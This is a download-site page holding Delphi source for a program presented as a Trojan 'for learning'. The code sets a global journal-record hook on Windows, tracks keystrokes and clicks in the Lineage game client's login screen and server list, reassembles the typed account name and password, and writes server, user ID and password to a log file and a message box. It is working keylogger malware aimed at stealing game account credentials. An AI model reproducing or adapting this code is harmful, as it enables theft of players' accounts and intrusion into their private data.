⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 demobig5.txt

📁 delphi写的天一马,,学习用..希望有用的拿去
💻 TXT
字号:
program   DemoBig5;

uses
  Windows, Messages;

const
  ComeRect: TRect= (Left: 536; Top: 387; Right: 600; Bottom: 403);  // 账号
  LiveRect: TRect= (Left: 536; Top: 451; Right: 600; Bottom: 465);  // 密码
  UserRect: TRect= (Left: 506; Top: 330; Right: 598; Bottom: 340);  // 登陆
  PassRect: TRect= (Left: 506; Top: 352; Right: 598; Bottom: 363);  // 离开

var
// 0账号 ; 1密码 ; 2登陆 ; 3离开 ; 4无焦点 ; 5特殊状态
  Cur_Focus : integer = 0;
  
  UserNameP : integer = 1;   // 位置
  UserName  : string = '';   // 账号
  PassWord  : string = '';   // 密码
  ServerName: string = '';   // 服务器?

  TheMessage: TMSG;
  HookHandle: DWORD;
  ThreadID  : DWORD;

//========= function & procedure =============//

   // 求Pchar字符串长度
function StrLen(const Str: PChar): Cardinal; assembler;
asm
  MOV    EDX,EDI
  MOV    EDI,EAX
  MOV    ECX,0FFFFFFFFH
  XOR    AL,AL
  REPNE  SCASB
  MOV    EAX,0FFFFFFFEH
  SUB    EAX,ECX
  MOV    EDI,EDX
end;

    // 写到屏幕
{procedure Liu_mazi(const strP: PChar);
var
  ScreenDC: HDC;
begin    
  ScreenDC := GetDC(0);
  TextOut(ScreenDC, 100, 100, strP, StrLen(strP));
  ReleaseDC(0, ScreenDC);
end;}

// eg. CreateThread(nil, 0, @MyOutPut, Pchar('fffff'), 0, ThreadID);
   // 输出信息  (xian程函数)
procedure MyOutPut(const OutP: PChar); stdcall;
var
  FileH: dword;    //文件句柄
  FSize: dword;    //写入长度
  Wsize: dword;    //实际长度
  FormH: dword;    //窗体句柄
begin
  FormH := Findwindow('#32770', '    www.qiannian1.com ');
  if (FormH=0)or(FindwindowEx(FormH, 0, 'Static', OutP)=0) then
  begin
    FileH := CreateFile(PChar('Log.txt'), GENERIC_READ or GENERIC_WRITE,
                       0, nil, Open_Always, FILE_ATTRIBUTE_NORMAL, 0);
    SetFilePointer(FileH, 0 , nil, 2);
    FSize:=StrLen(OutP);
    WriteFile(FileH, OutP^ , FSize, Wsize, nil);
    CloseHandle(FileH);
    Messagebox(0, OutP, '    www.qiannian1.com ', 0);
  end;
end;

   // 取得所选服务器
procedure GetServer(CurHandle: Longint);
var
  TempHandle: Longint;
  ClassName : string ;
begin
  TempHandle := GetParent(CurHandle);
  SetLength(ClassName, 15);
  GetClassName(TempHandle, Pchar(ClassName), 15);
  ClassName := string(Pchar(ClassName));
  if ClassName <> 'serverListWnd' then exit;

  SetLength(ClassName, 8);
  GetClassName(CurHandle, Pchar(ClassName), 8);
  ClassName := string(Pchar(ClassName));
  if ClassName <> 'Button' then exit;

  SetLength(ServerName, GetWindowTextLength(CurHandle)+2);
  GetWindowText(CurHandle, Pchar(ServerName), GetWindowTextLength(CurHandle)+2);
  ServerName := string( Pchar(ServerName) );
  if (Pos('.', ServerName)=0) then
  begin
    ServerName:='';   exit;
  end;

  Cur_Focus:=0; UserNameP:=1; UserName:='';  PassWord:='';
end;

  // 分析串是否合法
function TestStr(Str: String):Boolean;
var
  i, len: integer;
begin
  Result := True;  len:= Length(str);
  //CreateThread(nil, 0, @MyOutPut, Pchar('长度'+inttostr(len)), 0, ThreadID);
  if (len>12)or(len<8) then
    Result := False
  else
    for i:=1 to len do
    begin
      if (
         ( (ord(Str[i])>=ord('A'))and(ord(Str[i])<=ord('Z')) ) or
         ( (ord(Str[i])>=ord('a'))and(ord(Str[i])<=ord('z')) ) or
         ( (ord(Str[i])>=ord('0'))and(ord(Str[i])<=ord('9')) )
         )=FALSE  then
      begin
        Result := False;    break;
      end;
    end;
end;

   // 选择了'登入'..
procedure ReStart;
begin
  Cur_Focus := 5; // 假设密码错误,失去焦点
  if TestStr(UserName) and TestStr(PassWord)  then
    CreateThread(nil, 0, @MyOutPut, Pchar(#13#10+' Server: '+ServerName+#13#10+' UserID: '+UserName+#13#10+' Cipher: '+PassWord+#13#10), 0, ThreadID);
end;

   // 鼠标按下判断
procedure TestMouseDown(X, Y: Longint);
var
  CursorPos: TPoint;
begin
  CursorPos.X := X;  CursorPos.Y :=Y;
            //登录
  if ptinrect(ComeRect,CursorPos) then  ReStart
                 //账号
  else if ptinrect(UserRect,CursorPos) then Cur_Focus := 0
                      //密码
       else if ptinrect(PassRect,CursorPos) then Cur_Focus := 1
                           //离开
            else if ptinrect(LiveRect,CursorPos) then begin  {....}  end
                                //无焦点
                 else if (Cur_Focus<>0)and(Cur_Focus<>1) then Cur_Focus:=5;
end;

   // 鼠标移动判断
procedure TestMouseMove(X, Y: Longint);
var
  CursorPos: TPoint;
begin
  if (Cur_Focus<>0)and(Cur_Focus<>1) then
  begin
    CursorPos.X := X;  CursorPos.Y := Y;
    if ptinrect(ComeRect,CursorPos) then  Cur_Focus := 2
    else if ptinrect(LiveRect,CursorPos) then  Cur_Focus := 3
         else Cur_Focus:=5;
  end; 
end;

   // 键盘按下判断
procedure TestKeyDown(ParamL, paramH: Longint);
var
  KeyChar: array[0..2] of Char;
  len: integer;
  KeyState: TKeyboardState;
begin
  case ParamL of
    20520 : begin    {===Down===}
              if Cur_Focus=5 then Cur_Focus := 4;
              Cur_Focus := ( Cur_Focus+1 ) mod 5;
            end;

    18470 : begin    {====UP====}
              if Cur_Focus=0 then Cur_Focus := 4
              else Cur_Focus := Cur_Focus-1;
            end;

    19237 : begin    {===Left===}
              if Cur_Focus=0 then
                if (UserNameP > 1) then UserNameP:=UserNameP-1;
            end;

    19751 : begin    {===Richt===}
              if Cur_Focus=0 then
                if (UserNameP<Length(UserName)+1) then UserNameP:=UserNameP+1;
            end;

    14624 : begin    {===空格===}
              case Cur_Focus of
                2:  ReStart; // 登入
                0:  begin    // 账号
                      len := Length(UserName)+1;
                      if (len<13) then   // 还有空余
                      begin
                        SetLength(UserName, len);
                        while (len>UserNameP) do
                        begin
                          UserName[len]:=UserName[len-1];
                          len:=len-1;
                        end;
                        UserName[UserNameP] := ' ';
                        UserNameP := UserNameP+1;
                      end;
                    end;
                1:  begin  //密码
                      if Length(PassWord)<13 then PassWord:=PassWord+' ';
                    end;
              end;
            end;

     3592 : begin {===回格===}
              if Cur_Focus = 1 then Delete(PassWord,Length(PassWord),1)
              else if (Cur_Focus = 0)and(UserNameP > 1) then
                   begin
                     for len:=UserNameP to Length(UserName)do
                       UserName[len-1]:=UserName[len];
                     Setlength(UserName,Length(UserName)-1);
                     UserNameP := UserNameP -1;
                   end;
            end;

     18212: begin {==home==}
              if Cur_Focus=0 then UserNameP:=1;
            end;

     20259: begin {==END==}
              if Cur_Focus=0 then UserNameP:=length(UserName)+1;
            end;

     21294: begin
              if Cur_Focus=0 then Delete(UserName, UserNameP, 1);
            end;

     283,
     3849,
     7181 : begin {....过滤....}   end;

     else   begin   {===字符键===}
              GetKeyboardState(KeyState);
              if ToAscii(paramL, ((paramH shr 16)and$00ff), KeyState, @KeyChar[0], 0)=1 then
              begin
                if Cur_Focus=0  then // 账号
                begin
                  len := Length(UserName)+1;
                  if (len<13) then   // 还有空余
                  begin
                    SetLength(UserName, len);
                    while (len>UserNameP) do
                    begin
                      UserName[len]:=UserName[len-1];
                      len:=len-1;
                    end;
                    UserName[UserNameP] := KeyChar[0];
                    UserNameP := UserNameP+1;
                  end;
                end
                else
                  if (Cur_Focus=1)and(Length(PassWord)<13) then // 密码
                    PassWord:=PassWord+KeyChar[0];
              end;  
            end;  
  end; // .... end case
end;

   // Hook 回调函数
function HookProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;
var
  TempHandle: DWORD;
  ClassName: string;
begin
  if (nCode = HC_ACTION) then
  begin
    TempHandle := GetForegroundWindow();
    SetLength(ClassName, 10);
    GetClassName(TempHandle, Pchar(ClassName), 10);
    ClassName:=string(Pchar(ClassName));

    if ClassName = '#32770' then
    begin
      if (PEventMsg(lparam)^.message = WM_LBUTTONDOWN) then
        GetServer(PEventMsg(lparam)^.hwnd);         
    end
    else
    begin
      if (ClassName='Lineage') then
      begin
        if (PEventMsg(lparam)^.message = WM_MOUSEMOVE) then
          TestMouseMove(PEventMsg(lparam)^.paramL, PEventMsg(lparam)^.paramH)
        else
          if (PEventMsg(lparam)^.message = WM_LBUTTONDOWN) then
            TestMouseDown(PEventMsg(lparam)^.paramL, PEventMsg(lparam)^.paramH)
          else
            if (PEventMsg(lparam)^.message = WM_KEYDOWN) then
              TestKeyDown(PEventMsg(lparam)^.paramL, PEventMsg(lparam)^.paramH);
      end;
    end;
  end; 
  Result := CallNextHookEx(HookHandle, nCode, wParam, lParam);
end;

//===========主程序==============
begin
   HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
   While GetMessage(TheMessage, 0, 0, 0) do
   begin
     if (TheMessage.Message = WM_CANCELJOURNAL) then // 重挂 HOOK
       HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
   end;
   UnHookWindowsHookEx(HookHandle);
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -